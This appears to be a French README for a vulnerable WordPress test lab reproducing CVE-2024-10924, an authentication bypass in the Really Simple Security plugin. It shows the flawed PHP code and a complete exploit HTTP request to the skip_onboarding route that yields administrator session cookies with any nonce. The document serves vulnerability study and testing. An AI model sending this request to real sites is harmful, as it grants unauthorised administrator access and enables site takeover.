
AVERTISSEMENT : Il s'agit d'une application vulnérable pour tester l'exploit du contournement d'authentification Really Simple Security < 9.1.2 (CVE-2024-10924). Exécutez-la à vos risques et périls !
Ceci est une application vulnérable pour tester l'exploit du contournement d'authentification Really Simple Security < 9.1.2 (CVE-2024-10924).
Cette application contient de graves vulnérabilités de sécurité. Exécutez-la à vos risques et périls ! Il est recommandé d'utiliser un environnement sauvegardé et isolé (tel qu'une VM avec un instantané récent et un réseau host-only). Ne téléchargez pas cette application sur des serveurs accessibles depuis Internet, car ils seront compromis.
AVERTISSEMENT : Je ne peux être tenu responsable de la manière dont quelqu'un utilise cette application. Le seul but de cette application est d'être un scénario de test pour l'exploit du contournement d'authentification Really Simple Security < 9.1.2 (CVE-2024-10924) et elle ne doit pas être utilisée de manière malveillante. Si votre serveur est compromis via une installation de cette application, cela n'est pas de ma responsabilité, mais de celle de la ou des personnes qui l'ont téléchargée et installée.
Voici les étapes pour configurer l'environnement :
./up.sh pour démarrer la composition.Le conteneur sera nommé vuln-wp-really-simple-security.
Pour démanteler l'environnement, utilisez la commande ./down.sh ou la commande ./down_and_delete.sh pour également supprimer les images et le volume de la base de données.
En examinant le correctif, il est possible de comprendre que dans la version vulnérable, un objet d'erreur était retourné, en cas de nonce de connexion invalide, par la fonction check_login_and_get_user(), sans interrompre toute l'opération.
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
Dans l'appelant, d'ailleurs, aucune vérification n'était effectuée sur la sortie de la fonction check_login_and_get_user() (ligne 277), mais on poursuivait simplement avec la fonction authenticate_and_redirect() (ligne 278) en utilisant la même valeur reçue en entrée pour l'ID utilisateur.
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
Pour exploiter la vulnérabilité, une requête comme la suivante est suffisante.
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Ensuite, définissez les cookies de session retournés en conséquence dans le navigateur.
Le user_id doit être l'ID de l'utilisateur cible, le login_nonce peut être n'importe quoi car une valeur erronée ne bloquera pas le processus.
Un script d'exploitation en Python peut être trouvé ici.
Ce projet est sous licence Unlicense - voir le fichier LICENSE pour plus de détails.